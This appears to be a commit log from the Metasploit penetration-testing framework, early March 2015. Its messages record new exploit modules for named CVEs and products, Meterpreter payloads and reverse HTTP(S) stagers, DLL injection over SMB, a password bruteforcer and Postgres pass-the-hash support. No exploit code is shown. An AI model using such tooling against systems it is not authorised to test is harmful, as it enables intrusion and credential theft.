Fixes #4897 by corrected kernel32!Interlocked function definitions
2015-03-11 23:26:32 -05:00
jvazquez-r7
a9fa2d25aa
Add SMB module for MS10-046
2015-03-11 23:23:56 -05:00
HD Moore
cdef992d6b
Lands #4912 , http handlers will use the client's Host header by default.
2015-03-11 23:23:37 -05:00
scriptjunkie
dfbc50ff47
Make Host header override optional
2015-03-11 23:15:45 -05:00
OJ
345b5cc8e1
Add stageless meterpreter support
...
This commit adds plumbing which allows for the creation of stageless
meterpreter payloads that include extensions. The included transprots at
this point are bind_tcp, reverse_tcp and reverse_https, all x86.
More coming for x64. Will also validate http soon.
2015-03-12 13:22:04 +10:00
HD Moore
b604599c8e
Fix comments
2015-03-11 21:32:35 -05:00
HD Moore
c3f2536ef6
Make the stager clear in the payload descriptions
2015-03-11 21:30:02 -05:00
HD Moore
b105a88b95
Fix https convention
2015-03-11 21:26:31 -05:00
HD Moore
8bae58d631
Updated cache sizes
2015-03-11 21:25:12 -05:00
HD Moore
479a9cc1a9
Fix missing stack variables & remove old comment
2015-03-11 21:23:27 -05:00
HD Moore
631e1606bf
Fix WinHttpSetOption & stack parameters
2015-03-11 21:05:18 -05:00
Tod Beardsley
99494328d2
Update Nvidia module with an OSVDB ref
...
The paper is really good, but could use a more traditional reference.
[See #4884 ]
2015-03-11 19:51:22 -05:00
scriptjunkie
401d553f84
Use host header in reverse_http(s)
2015-03-11 19:40:52 -05:00
jvazquez-r7
0e4e264325
Redo description
2015-03-11 18:19:28 -05:00
jvazquez-r7
aaabd23707
merge cleanup
2015-03-11 18:13:56 -05:00
jvazquez-r7
4e6aca0209
refactor create_exploit_file
2015-03-11 18:13:09 -05:00
jvazquez-r7
5662e5c5a6
Add module for MS15-020
2015-03-11 17:29:02 -05:00
HD Moore
66a45ac7fd
Add spec for reverse_winhttps
2015-03-11 16:29:22 -05:00
HD Moore
1135e5e073
First take on WinHTTP stagers, untested
2015-03-11 16:27:14 -05:00
HD Moore
7e3b4017f0
Rename and resynced with master, ready for refactoring
2015-03-11 14:36:27 -05:00
HD Moore
ea1bc69e2e
Merge branch 'master' into feature/add-reverse_winhttp-stagers
2015-03-11 14:29:34 -05:00
sinn3r
215c209f88
Land #4901 , CVE-2014-0311, Flash ByteArray Uncompress UAF
2015-03-11 14:04:17 -05:00
sinn3r
43b90610b1
Temp
2015-03-11 13:53:34 -05:00
Tod Beardsley
239b0c5d09
Add the most recent alias joe uses
2015-03-11 12:28:51 -05:00
Tod Beardsley
c227c56cd9
Update .mailmap for @joevennix
2015-03-11 12:24:04 -05:00
Brent Cook
ceeee4446f
Land #4904 , @hmoore-r7 reworks reverse_http/s stagers
...
They are now assembled dynamically and support more flexible options,
such as long URLs.
2015-03-11 10:41:59 -05:00
sinn3r
2a9d6e64e2
Starting point for CVE-2015-0318
2015-03-11 09:58:41 -05:00
HD Moore
02c7461d32
Lands #4906 and fixes #4905 by updating Conventions for HTTP incompatible payloads
2015-03-11 00:49:27 -05:00
HD Moore
ad39adf9c2
Missing comma
2015-03-11 00:49:07 -05:00
HD Moore
cb1a1ef692
Remove bad stager+stage combinations from the payload set
2015-03-11 00:46:24 -05:00
HD Moore
a89926b663
Exclude vncinject from http stagers (depends on sockedi)
2015-03-11 00:46:04 -05:00
jvazquez-r7
8a452a7cba
Do somce cleanup
2015-03-10 17:10:44 -05:00
Brent Cook
9ade107325
disable reverse_http methods from upexec and shell payloads
...
These don't work over http and don't appear to have ever, as far back as
I could test. They appear to be an accident perhaps.
2015-03-10 17:08:58 -05:00
jvazquez-r7
4a84693fb0
Support windows
2015-03-10 16:58:33 -05:00
jvazquez-r7
c26bea3429
Fix credits
2015-03-10 16:27:07 -05:00
jvazquez-r7
980c83cb70
Fix metadata
2015-03-10 16:25:02 -05:00
jvazquez-r7
9e17874389
Exploit CVE-2015-1427
2015-03-10 16:17:51 -05:00
HD Moore
1d17e9ab5b
Remove the 256 byte limit for URLs
2015-03-10 15:27:04 -05:00
James Lee
cb41154712
Make a MatchResult when sessions are reported
2015-03-10 15:17:57 -05:00
Samuel Huckins
7be665d74e
Land #4900 , credential version for postgres hash
2015-03-10 15:17:55 -05:00
HD Moore
5f382e539a
Updated required_space to count all 256 bytes of the URL
2015-03-10 15:17:09 -05:00
HD Moore
dedf3726ea
Simplify the uri_req_len logic, thanks @bcook-r7
2015-03-10 15:12:02 -05:00
David Maloney
261159aa66
update lockfile
2015-03-10 14:38:01 -05:00
William Vu
736f0b34be
Land #4902 , @nstarke's db_connect warning message
2015-03-10 14:12:47 -05:00
HD Moore
db351317a5
Merge with PR branch
2015-03-10 14:08:35 -05:00
HD Moore
0f763c2cb3
First step to reworking the winhttp stagers
2015-03-10 14:07:25 -05:00
Nicholas Starke
9a974af7dd
Merge pull request #3 from wvu-r7/pr/4902
...
Change print_status to print_error
2015-03-10 14:05:34 -05:00
William Vu
3c7b061e05
Use single quotes
...
But I like double quotes. :(
2015-03-10 14:03:13 -05:00
Borja Merino
991e72a4fa
HTTP stager based on WinHttp
2015-03-10 13:40:16 -05:00
William Vu
72e7691300
Change print_status to print_error
...
And drop db_disconnect note to another line.
2015-03-10 13:31:35 -05:00
Nicholas Starke
4d12690ca6
Merge pull request #2 from wvu-r7/pr/4902
...
Refactor db_{status,connect} a bit
2015-03-10 13:02:20 -05:00
HD Moore
966848127a
Refactor x86 Windows reverse_http and reverse_https stagers
2015-03-10 12:48:30 -05:00
William Vu
e81f2e366c
Refactor db_{status,connect} a bit
...
Also allow for db_connect help.
2015-03-10 12:35:58 -05:00
m-1-k-3
64f769504b
encoding
2015-03-10 17:47:15 +01:00
m-1-k-3
6657c7d11d
Belkin - CVE-2014-1635
2015-03-10 16:49:51 +01:00
jvazquez-r7
f8f178b1db
Fix script_mvel_rce check
2015-03-10 09:39:02 -05:00
jvazquez-r7
9dc99e4207
Update check
2015-03-10 09:26:22 -05:00
nstarke
ee8318d5c4
Adding db_disconnect qualifying statement
2015-03-10 11:58:04 +00:00
Sigurd Jervelund Hansen
c6cb1e840d
Fixes persistence module by revering changes to the value returned by the write_script_to_target function, which screws up the path that is used for startup. Currently an escaped path "C://Users//..." is being used instead of using windows standards "C:\Users\...".
2015-03-10 10:26:03 +01:00
William Vu
cd992d5ea6
Land #4875 , rm some old and crufty tools
2015-03-10 00:02:04 -05:00
William Vu
ab70223107
Remove note about resplat.rb in msftidy
2015-03-10 00:00:29 -05:00
Brent Cook
97f09b6ab0
Land #4894 : hmoore-r7 cache payload sizes on start
...
Avoid the hit of regenerating all of the static-size payloads when
loading the framework. This will facilitate conversion of payloads to
use metasm later.
2015-03-09 23:06:55 -05:00
jvazquez-r7
fc4b312879
Add template
2015-03-09 23:04:32 -05:00
nstarke
187a0445f3
Issue #4868 - Adding warning message to db_connect when already connected
2015-03-10 00:02:34 +00:00
Julian Vilas
fe822f8d33
Modify automatic file cleanup
2015-03-10 00:45:20 +01:00
Julian Vilas
0ef303cb6c
Fix Java payload
2015-03-10 00:01:27 +01:00
jvazquez-r7
14c3848493
Delete useless comment
2015-03-09 16:59:10 -05:00
HD Moore
618fbf075a
Update CachedSize for the fixed stager
2015-03-09 16:57:14 -05:00
HD Moore
746f18d9bb
Fallback to a localhost variant to make the length predictable
2015-03-09 16:56:25 -05:00
jvazquez-r7
78167c3bb8
Use single quotes when possible
2015-03-09 16:55:21 -05:00
HD Moore
6543c3c36f
Update CachedSize for the fixed stager
2015-03-09 16:54:57 -05:00
HD Moore
c676ac1499
Fallback to a localhost variant to make the length predictable
2015-03-09 16:53:28 -05:00
jvazquez-r7
cb72b26874
Add module for CVE-2014-0311
2015-03-09 16:52:23 -05:00
HD Moore
d0324e8ad3
Final cleanup, passing specs
2015-03-09 15:50:57 -05:00
HD Moore
da81f6b2a0
Correct the :dynamic cache sizes
2015-03-09 15:44:14 -05:00
HD Moore
78456fb2e0
Correct a typo (stringified symbol loses the :)
2015-03-09 15:42:23 -05:00
HD Moore
038591497f
YARD docs for the Msf::Util::PayloadCachedSize class
2015-03-09 15:39:19 -05:00
James Lee
838746b021
Add user_data_is_match? method
2015-03-09 15:35:53 -05:00
HD Moore
02509d02e4
The result of running ./tools/update_payload_cached_sizes.rb
2015-03-09 15:31:04 -05:00
HD Moore
99e2b05597
Move the cache update logic into a utility class
2015-03-09 15:29:58 -05:00
HD Moore
60145ad9a1
Cosmetic tweaks to the specs
2015-03-09 15:08:11 -05:00
HD Moore
7dc0af443f
Rework specs
2015-03-09 14:41:25 -05:00
HD Moore
33f96f5c31
Remvoe the useless pinst variable from the previous test
2015-03-09 13:59:58 -05:00
HD Moore
f61c3f33bd
Validate cached_size and dynamic_size? in the payload specs
2015-03-09 13:58:18 -05:00
HD Moore
8c635243d3
Fix whitespace in the regex, implements Msf::Payload.dynamic_size?
2015-03-09 13:15:06 -05:00
Brent Cook
603179176a
Land #4876 , @hmoore-r7 give encoders and payloads space available
2015-03-09 11:50:46 -05:00
Samuel Huckins
08df0bfaca
Land #4858 , RPC client true/truthy fix
...
* Misc ruby cleanup and fixing the issue that caused MSP-12235, rolling back the
full rollback of PR 4823
2015-03-09 11:35:57 -05:00
David Maloney
4ca8611d94
latest credential for postgres hash import/export
...
latest version of metasploit-credential updates credential
import-export to support the PostgresMD5 hash type
MSP-12266
2015-03-09 11:31:02 -05:00
Hans-Martin Münch (h0ng10)
bba4223d68
Initial commit
2015-03-09 16:36:11 +01:00
Tod Beardsley
df80d56fda
Land #4898 , prefer URI to open-uri
2015-03-09 09:14:10 -05:00
James Lee
ff91953f92
Whitespace
2015-03-09 08:58:25 -05:00
James Lee
9195479a6d
Add a context for without user_data
2015-03-09 08:56:52 -05:00
James Lee
b37a975108
Use metasploit_data_models staging branch
2015-03-09 01:28:27 -05:00
HD Moore
c3479ba747
Update msfvenom & PayloadGenerator to pass in available_space
2015-03-09 01:14:56 -05:00
James Lee
d771f54e35
Axe unused var
2015-03-09 00:21:10 -05:00
James Lee
6baff47e98
Refactor inference into its own method
2015-03-09 00:19:57 -05:00
sinn3r
9e5231f951
More explicit and better readability
...
thanks Sam!
2015-03-09 00:16:56 -05:00
sinn3r
a418410260
Change {} back to do/end
...
This seems to be the only one.
2015-03-09 00:00:49 -05:00
sinn3r
a91a29d4e5
Add a comment explaining about the error key
2015-03-08 23:51:43 -05:00
James Lee
cd5699dc39
Sort cases and add specs
2015-03-08 23:27:32 -05:00
James Lee
0440e19cc1
Add REG_MULTI_SZ
2015-03-08 22:48:24 -05:00
HD Moore
d46635ff8b
Restore a comment lost in the code churn
2015-03-07 21:25:35 -06:00
HD Moore
853bf1b569
Accidental carry over from stale master
2015-03-07 20:48:22 -06:00
HD Moore
2e49791bef
This implements payload size caching, speeding up framework loads
2015-03-07 20:44:19 -06:00
HD Moore
6c71ae7fc3
Lands #4893 , coerce to string to avoid stack trace
...
essage aborts
ssage aborts
2015-03-07 18:40:49 -06:00
William Vu
c3e91c263f
Fix NoMethodError in plugins/nessus.rb
...
Triggered by @port.length in nessus_login from YAML.
2015-03-07 17:56:12 -06:00
William Vu
5316e0f0ce
Land #4887 , msfconsole -n store_loot fix
2015-03-07 17:14:21 -06:00
William Vu
b79e99f55a
Land #4892 , "response HTML" message fix
2015-03-07 17:09:13 -06:00
William Vu
3075c56064
Fix "response HTML" message
...
In modules/exploits/multi/browser/firefox_xpi_bootstrapped_addon.rb.
2015-03-07 17:08:08 -06:00
sinn3r
f3494d9019
Correct grammar in BES
2015-03-07 16:04:06 -06:00
Julian Vilas
2eb0011a99
Autotrigger JSP shell at docBase
2015-03-07 20:41:08 +01:00
Julian Vilas
3be2bde5a2
Use bypass for bulletin S2-020
2015-03-07 19:14:20 +01:00
root
5b25ba5df3
moved array definition to avoid error
2015-03-07 12:57:44 -05:00
root
fac777da3d
brocade_enable_login msftidy success
2015-03-06 20:33:09 -05:00
James Lee
8adc4646f8
Add :user_data to Msf::Module
2015-03-06 14:23:06 -06:00
joev
ccd0712d43
Use ===, doh.
2015-03-06 12:29:34 -06:00
joev
fefd4e271a
Don't hardcode the hex.
2015-03-06 12:16:03 -06:00
root
591716e557
brocade enable command bruteforcer
2015-03-06 09:41:14 -05:00
joev
3fb4fbe8e6
Add 'not allowed' check instead of magic check.
2015-03-06 00:01:31 -06:00
joev
7db3277731
Actually hide the iframe.
2015-03-05 23:52:29 -06:00
joev
d7295959ca
Remove open-uri usage in msf.
2015-03-05 23:45:28 -06:00
joev
ca3b2220b5
Check to ensure Mdm is loaded to fix store_loot.
2015-03-05 23:27:13 -06:00
joev
3c5d7b3ef0
Okay, putting source code in a quoted string is horrible.
2015-03-05 23:25:37 -06:00
Brent Cook
a13cd2bcb7
Land #4880 : @wchen-r7 check if module has session before comparison
2015-03-05 20:48:42 -06:00
jvazquez-r7
2134cc3d22
Modify description
2015-03-05 16:55:24 -06:00
jvazquez-r7
c46c05f5ab
Land #4884 , @Meatballs1's module for Nvidia arbitrary dll injection
2015-03-05 16:53:11 -06:00
jvazquez-r7
7b4776ee79
Deregister FOLDER_NAME
2015-03-05 16:42:07 -06:00
jvazquez-r7
1bc81ea723
Merge #4884 into updated master
2015-03-05 16:41:15 -06:00
Meatballs
33f089b1a5
Tidyup
2015-03-05 21:50:12 +00:00
jvazquez-r7
2da1b6cfda
Land #3323 , @0x41414141's SMB target for struts_code_exec_classloader
2015-03-05 15:49:22 -06:00
jvazquez-r7
9f3f8bb727
Merging #3323 work
2015-03-05 15:44:15 -06:00
jvazquez-r7
c388fd49c2
Fix print message
2015-03-05 15:43:54 -06:00
jvazquez-r7
dd2559b748
Favor new target over new module
2015-03-05 15:41:53 -06:00
jvazquez-r7
ad0e287795
Modify struts_code_exec_classloader instead of adding a new module
2015-03-05 15:41:16 -06:00
jvazquez-r7
e1a4b046a0
Add support for tomcat 7 to struts_code_exec_classloader
2015-03-05 15:40:24 -06:00
Meatballs
c56679f33e
Modify for new SMB mixin
2015-03-05 21:26:13 +00:00
William Vu
3e81bf073c
Land #4883 , Postgres PTH reference
2015-03-05 15:05:27 -06:00
Tod Beardsley
e429d4c04f
Add reference and description for PTH on Postgres
...
Dave and William did most of the work already over on PR #4871 , this
just points it out in the module.
2015-03-05 14:36:56 -06:00
Tod Beardsley
0c87e28208
Land #4882 , workspace sort order
...
[Fixes #4881 ]
2015-03-05 14:30:00 -06:00
Matthew Hall
fef8b89001
Merge pull request #6 from jvazquez-r7/final_3323_folder_support
...
Add support for a folder and update module. Thanks @jvazquez-r7 - yeah I was using an older version of my code for the exploit (whoops - long day...). Landed. I'll look at merging this with the existing exploit over the weekend.
2015-03-05 20:08:10 +00:00
Samuel Huckins
7cb3e236fb
Adding back prepended colons
...
Don't seem to be needed but don't want to introduce that change.
2015-03-05 14:06:50 -06:00
Samuel Huckins
02d30b3d44
Changes workspace cmd ordering to updated_at asc
2015-03-05 14:05:24 -06:00
Samuel Huckins
84df403d11
Land #4852 , vuln note import/export addition
2015-03-05 13:54:22 -06:00
sinn3r
16c86227e2
Change to OptBool and default to explicit
2015-03-05 13:07:03 -06:00
jvazquez-r7
de08d8247b
Do some module cleanup
2015-03-05 13:00:01 -06:00
sinn3r
31191bef39
Fix #4865 , undef method 'ancestors' in lib/msf/core/payload_set.rb
...
Fix #4865
2015-03-05 12:49:51 -06:00
jvazquez-r7
82659aba93
Populate metadata from code to make test easier
2015-03-05 12:40:20 -06:00
jvazquez-r7
dc02f8332f
Pass msftidy
2015-03-05 12:29:31 -06:00
jvazquez-r7
a06eb04d59
Deregister FOLDER_NAME on exploit modules
2015-03-05 12:27:12 -06:00
jvazquez-r7
38f8fe382c
Update specs
2015-03-05 12:24:41 -06:00
jvazquez-r7
5ede40a39d
Change the variable name
2015-03-05 12:21:33 -06:00
jvazquez-r7
e0a22a6794
Add support for folder
2015-03-05 12:19:33 -06:00
Tod Beardsley
0353602829
Add back set_binary_encoding.rb
...
[See #4875 ]
2015-03-05 12:05:05 -06:00
sinn3r
cb9922ad39
Land #4874 , Add PHPMoAdmin command injection
2015-03-05 11:30:44 -06:00
sinn3r
8978b1d7b5
Add a version
2015-03-05 11:29:44 -06:00
Matthew Hall
5b65811fb2
Merge pull request #5 from jvazquez-r7/land_3323
...
Update with rapid7 master changes. I'll take a further look at this module and add version support to pick the best exploit path for differing tomcat versions.
2015-03-05 14:46:01 +00:00
Ricardo Almeida
32188f09d6
Update phpmoadmin_exec.rb
...
Changes:
Added required comment at the top of the file;
Changed Class name "Metasploit3" >> "Metasploit4";
Standard name/email format for public PoC author.
2015-03-05 12:56:08 +00:00
Ricardo Almeida
95962aab0d
Update phpmoadmin_exec.rb
...
Changes:
"Check if vulnerable" code improvement;
Payload delivery code improvement;
Minor indent issues.
Thanks for your feedback guys :)
2015-03-05 12:46:53 +00:00
William Vu
a23381118b
Land #4878 , squid_pivot_scanning interpolation fix
2015-03-05 01:09:40 -06:00
aushack
2f4df39dc9
Fixed typo
2015-03-05 17:40:51 +11:00
sinn3r
d40e7485dd
Add CVE-2015-0240 auxiliary module
2015-03-04 23:50:14 -06:00
HD Moore
7a354f322c
Comment typo (missing i).
2015-03-04 20:11:41 -06:00
HD Moore
95f67dba7a
Tell payloads and encoders how much space they have to work with
2015-03-04 19:25:04 -06:00
HD Moore
1001061a96
Initialize @capture_count
2015-03-04 18:52:18 -06:00
Tod Beardsley
4ad9638682
Remove some old and crufty /tools
...
It's possible someone still wants the Webscarab stand-alone importer,
but I cannot imagine that after years of bitrot that is even viable in
its current state.
The rest of them are all older development tools that are no longer
needed (normal vim/rubymine auto-formatting will do the trick).
2015-03-04 16:46:40 -06:00
jvazquez-r7
b9a30d60d4
Land #3294 , @0x41414141's generic dll injection through SMB shared folder
2015-03-04 16:42:24 -06:00
jvazquez-r7
e715eaba58
Update description
2015-03-04 16:39:27 -06:00
jvazquez-r7
e155f2998e
Change module filename
2015-03-04 16:38:08 -06:00
jvazquez-r7
77abd57397
Do code cleanup
2015-03-04 16:37:31 -06:00
jvazquez-r7
22ff4d0097
Update with master changes
2015-03-04 16:30:19 -06:00
jvazquez-r7
bcdf261f3b
Land #3076 , @0x41414141's generic dll injection through HTTP module
2015-03-04 16:19:14 -06:00
jvazquez-r7
e7de09df29
Change module filename
2015-03-04 16:18:45 -06:00
jvazquez-r7
1337b7ace8
Clean module
2015-03-04 16:18:10 -06:00
Ricardo Almeida
9530e15c81
Update phpmoadmin_exec.rb
...
Changes:
Changed description section;
Changed 'URL' to 'EDB' in references section;
Added newline at the end.
2015-03-04 21:59:08 +00:00
jvazquez-r7
d4738d8c0a
Update #3076 branch
2015-03-04 15:51:00 -06:00
Ricardo Almeida
c19895ac85
Update phpmoadmin_exec.rb
...
Changes:
Added new URL;
Added CVE number;
Corrected the disclosure date;
Corrected the normalize_uri() function syntax.
2015-03-04 21:31:44 +00:00
jvazquez-r7
5cc9ea3618
Update with master changes
2015-03-04 15:16:12 -06:00
William Vu
a64dd4a1af
Land #4871 , Postgres PTH support
...
MSP-12244
2015-03-04 15:08:57 -06:00
David Maloney
8d6ba0e775
fix transient factory bug
...
pulled re-released metasploit-credential to fix
bug by a hidden change to factories
MSP-1244
2015-03-04 14:58:49 -06:00
David Maloney
7fa8e4faae
fix schema.rb again
...
screwed it up somehow the first time
2015-03-04 14:01:47 -06:00
David Maloney
2d46c06b97
Merge branch 'master' into feature/MSP-12244/postgres-pass-the-hash
2015-03-04 13:56:10 -06:00
David Maloney
dee2e84530
update schema
2015-03-04 13:31:23 -06:00
jvazquez-r7
1676d98bf9
Land #4451 , @0x41414141's module for CVE-2014-2623, using the new SMB Share mixin
2015-03-04 13:09:10 -06:00
jvazquez-r7
fa9d921138
Beautify description
2015-03-04 13:07:10 -06:00
jvazquez-r7
8fdb7a798e
Change module filename
2015-03-04 13:01:06 -06:00
jvazquez-r7
36375fab28
Fix downcase path handling
2015-03-04 12:58:41 -06:00
David Maloney
6b9cf40110
update gemfile.lock
...
update gemfile lock for new credential version
MSP-12244
2015-03-04 12:29:04 -06:00
jvazquez-r7
62dde22d88
Clean packet building
2015-03-04 12:27:58 -06:00
Ricardo Almeida
4d67e0e1bb
Add PHPMoAdmin RCE
2015-03-04 18:17:31 +00:00
jvazquez-r7
e04ff3ee24
Delete CMD option
2015-03-04 11:51:58 -06:00
jvazquez-r7
d4337ce1ae
Do minor metadata cleanup
2015-03-04 11:46:01 -06:00
jvazquez-r7
1371cfe025
Test landing #4451
2015-03-04 11:20:07 -06:00
jvazquez-r7
b21439a8cf
Land #3318 , @0x41414141's ms13_071_theme update to use Msf::Exploit::Remote::SMB::Server::Share
2015-03-04 10:59:52 -06:00
jvazquez-r7
4de1fdd020
Make SHARE prints verbose
2015-03-04 10:57:18 -06:00
jvazquez-r7
aaab4b401a
Fix indenting and use primer
2015-03-04 10:46:34 -06:00
jvazquez-r7
0e57277dc1
Do cleanup
2015-03-04 10:33:57 -06:00
jvazquez-r7
b9ed8178a9
Solve conflicts on ms13_071_theme
2015-03-04 10:28:52 -06:00
jvazquez-r7
1c064f6b46
Land #3074 , @0x41414141 SMB Share mixin
2015-03-04 10:16:04 -06:00
jvazquez-r7
64fd818364
Land #4411 , @bcook-r7's support for direct, atomic registry key access in meterpreter
2015-03-04 10:01:33 -06:00
jvazquez-r7
cdf5fec474
Fix style
2015-03-04 09:57:39 -06:00
Matthew Hall
4757698c15
Modify primer to utilise file_contents macro.
2015-03-04 09:52:00 +00:00
Matthew Hall
a90ebfe9a7
Modify primer to utilise file_contents macro.
2015-03-04 09:51:32 +00:00
Matthew Hall
dfb6711ad7
Modify primer to utilise file_contents macro.
2015-03-04 09:51:01 +00:00
Matthew Hall
a5d748d19e
Modify primer to utilise file_contents macro.
2015-03-04 09:50:28 +00:00
Matthew Hall
0d56f5b6e6
Modify primer to utilise file_contents macro.
2015-03-04 09:49:17 +00:00
Matthew Hall
c7c5270b3b
Merge pull request #4 from jvazquez-r7/review_3074_documentation
...
Add documentation and specs. All tests pass on my end! Thanks @jvazquez-r7
2015-03-04 09:47:35 +00:00
Brent Cook
0988c5e691
use the correct implementation for query_value_direct
2015-03-03 22:29:23 -06:00
jvazquez-r7
80b76436bb
Land #4831 , @wchen-r7's update for MS14-064 exploit
...
* Support Windows XP with VBScript technique
2015-03-03 19:19:49 -06:00
David Maloney
75c075e32b
properly anchor regexes
...
duh
2015-03-03 19:15:29 -06:00
sinn3r
7591e9ece3
Unbreak the comment
2015-03-03 19:14:18 -06:00
sinn3r
79e7bf7f9c
Update comments and description
2015-03-03 19:13:15 -06:00
David Maloney
c8f23b2903
fix jtr_postgres_fast too
...
the JtR hash cracker for postgres hashes now uses
the new PostgresMD5 class for finding it's hashes
MSP-12244
2015-03-03 18:46:47 -06:00
David Maloney
8c0e892455
update metasploit-credential to get new model
...
update version of metasploit-credential in order
to get the PostgresMD5 hash subtype
MSP-12244
2015-03-03 18:34:50 -06:00
David Maloney
199c3ba96c
postgres hashdump now stores PostgresMD5 objects
...
instead of nonreplayabke hashes the postgres_hashdump
aux module now saves them approriately as PostgresMD5s
with the md5 tag intact at the front
MSP-12244
2015-03-03 16:45:13 -06:00
David Maloney
64490c746a
CredCollection now knows about postgres_md5
...
the cred collection can now identify a postgres_md5 hash string
and set the type on the Metasploit::Framework::Credential object
appropriately
MSP-12244
2015-03-03 16:43:52 -06:00
David Maloney
c836078292
allow credentials to have a type of postgres_md5
...
add postgres_md5 to the type validation on
Metasploit::Framework::Credential to account
for the new Private type
MSP-12244
2015-03-03 16:35:30 -06:00
HD Moore
9efbeb9a76
Lands #4870 by adding two MIPS architectures to the Metasm case statement
2015-03-03 15:26:49 -06:00
David Barksdale
fb74136723
Add MIPS arches to this stupid case statement
2015-03-03 15:25:08 -06:00
jvazquez-r7
a57aefb721
Add specs for QUERY information level
2015-03-03 15:24:13 -06:00
jvazquez-r7
96c0f1847b
Fix examples descriptions
2015-03-03 14:48:18 -06:00
jvazquez-r7
7f7b17c04e
Really add specs
2015-03-03 14:14:03 -06:00
jvazquez-r7
c213ed3f5f
Add specs for FIND information level
2015-03-03 14:13:36 -06:00
jvazquez-r7
df7c07bfd1
Really add the specs
2015-03-03 13:19:50 -06:00
jvazquez-r7
4237cd2c88
Add specs for QueryPathInformation
2015-03-03 13:19:06 -06:00
David Maloney
aa4038d539
allow the postgres librry to take an md5 hash
...
allow the raw md5 password hash to be passed in instead of
a password for md5 authentication in postgres. Adds an extra exception
class for when an md5 hash is given but the server expects
a different form of authentication.
MSP-12244
2015-03-03 13:16:46 -06:00
jvazquez-r7
a2a24c56d6
Add specs for QueryFileInformation
2015-03-03 13:04:30 -06:00
jvazquez-r7
1322cb0d3f
Clean find_first2 specs
2015-03-03 12:46:25 -06:00
jvazquez-r7
8328c5c5e9
Add specs for SMB_FIND_FILE_BOTH_DIRECTORY_INFO requests
2015-03-03 12:43:41 -06:00
jvazquez-r7
597f99ade9
Finish TRANS2 specs
2015-03-03 11:46:13 -06:00
jvazquez-r7
a204b550d2
Add specs for TRANSACTION2 helper methods
2015-03-03 10:55:55 -06:00
jvazquez-r7
bece2e7088
Really add the specs
2015-03-03 10:32:35 -06:00
jvazquez-r7
63a3ab16fe
Add specs for SMB_COM_SESSION_SETUP_ANDX commands
2015-03-03 10:31:43 -06:00
jvazquez-r7
4bbc0b5b0b
Fix valid_request on negotiate_spec
2015-03-02 17:39:39 -06:00
jvazquez-r7
a92dc7e73d
Fix nt_create_andx specs
2015-03-02 17:38:24 -06:00
jvazquez-r7
4fc08d7243
Add specs for Msf::Exploit::Remote::SMB::Server::Share::Command::ReadAndX
2015-03-02 17:32:03 -06:00
jvazquez-r7
b5e5d390ac
Add specs for Msf::Exploit::Remote::SMB::Server::Share::Command::NtCreateAndx
2015-03-02 16:55:36 -06:00
jvazquez-r7
584e5f7d8b
Add specs for Exploit::Remote::SMB::Server::Share::Command::Negotiate
2015-03-02 16:29:33 -06:00
Brent Cook
4b54517b95
Land #4864 @wvu-r7 changes reverse_python to be non-interactive
...
This avoids sourcing the shell RC scripts, writing history, etc.
2015-03-02 16:21:49 -06:00
jvazquez-r7
50f5baa7c6
Add specs for Msf::Exploit::Remote::SMB::Server::Share::Command::Close
2015-03-02 16:00:02 -06:00
William Vu
a648e74c4b
Remove unnecessary semicolon
2015-03-02 15:36:45 -06:00
William Vu
80169de4d0
Remove -i from shell in reverse_python
2015-03-02 15:29:50 -06:00
William Vu
ecd7ae9c3b
Land #4857 , symantec_web_gateway_restore module
2015-03-02 15:00:10 -06:00
sinn3r
ad28f9767f
Use include
2015-03-02 14:41:25 -06:00
jvazquez-r7
b0bc69b832
Add @todo comment
2015-03-02 14:25:56 -06:00
jvazquez-r7
d57e220f00
Delete unnecessary case on smb_cmd_trans_query_path_info_basic
2015-03-02 14:19:20 -06:00
jvazquez-r7
2004aea7b7
Add helpers for path handling on TRANS2 requests
2015-03-02 14:15:25 -06:00
sinn3r
cb140434f9
Update
2015-03-02 12:59:21 -06:00
jvazquez-r7
8acde11aaf
Use file_contents instead of exe_contents
2015-03-02 12:56:48 -06:00
jvazquez-r7
34bd6a4365
Add documentation for the Share mixin
2015-03-02 12:42:32 -06:00
jvazquez-r7
9a8e17508f
Add documentation for QUERY information levels
2015-03-02 12:00:34 -06:00
jvazquez-r7
750022806b
Add documentation for FIND information levels
2015-03-02 11:46:20 -06:00
sinn3r
5f3ed83922
Land #4836 , Solarwinds Core Orion Service SQL injection
2015-03-02 11:44:26 -06:00
jvazquez-r7
0d8632dae9
Add documentation for TRANSACTION2 subcommands
2015-03-02 11:19:34 -06:00
jvazquez-r7
6a5dae4549
Add documentation for SMB_COM_TRANSACTION2 handling
2015-03-02 11:12:57 -06:00
jvazquez-r7
3923589286
Add documentation for SMB_COM_SESSION_SETUP_ANDX handling
2015-03-02 11:06:41 -06:00
jvazquez-r7
e8dd9c1971
Add documentation for SMB_COM_READ_ANDX
2015-03-02 10:59:07 -06:00
jvazquez-r7
1ad3f91c50
Add documentation for SMB_COM_NT_CREATE_ANDX handling
2015-03-02 10:52:30 -06:00
jvazquez-r7
19061121b3
Add documentation for SMB_COM_NEGOTIATE handling
2015-03-02 10:45:43 -06:00
jvazquez-r7
3e8bbb6c9e
Add documentation for SMB_COM_CLOSE handling
2015-03-02 10:36:13 -06:00
Brandon Turner
6b3de2850b
Merge remote-tracking branch 'origin/release'
2015-03-01 00:50:34 -06:00
Brandon Turner
c86b56684a
Fix bug preventing updates in pro
...
The RPC code previously tested return values to see if an error key was
equal to true. In 251c284458 , this was
changed to check if the error key was truthy.
The pro updater returns an error key with a string describing an error
(or an empty string for no error). Ruby strings evaluate as truthy
which caused the new behavior to throw an error. This prevented
checking for and applying updates.
This reverts to the original behavior of checking for true explicitly
instead of checking for a truthy value.
MSP-12235
2015-02-28 23:46:57 -06:00
William Vu
ef330b970b
Land #4860 , @OJ's Seagate 0day hotness
2015-02-28 21:55:54 -06:00
OJ
905a539a00
Add exploit for Seagate Business NAS devices
...
This module is an exploit for a pre-authenticated remote code execution
vulnerability in Seagate Business NAS products.
2015-03-01 13:25:28 +10:00
Brandon Perry
f8e3874203
add nil check
2015-02-28 20:43:19 -06:00
sinn3r
4a1fbbdc3b
Use datastore to find payload name
2015-02-28 19:56:32 -06:00
jvazquez-r7
227cf4500d
define constants for tree connect access rights
2015-02-28 18:38:45 -06:00
jvazquez-r7
e322aca1ba
Merge constants for reponses wordcounts
2015-02-28 18:24:47 -06:00
jvazquez-r7
eb3aedf4a7
Define constants for WordCount in responses
2015-02-28 18:15:14 -06:00
Matthew Hall
402fa127e6
Merge pull request #3 from jvazquez-r7/review_3074_clean_server
...
Land the merge. Code looks good to me! :-) thanks @jvazquez-r7
2015-02-28 22:10:17 +00:00
jvazquez-r7
7d8b78c2e8
Merge session_setup refactoring
2015-02-28 15:14:33 -06:00
sinn3r
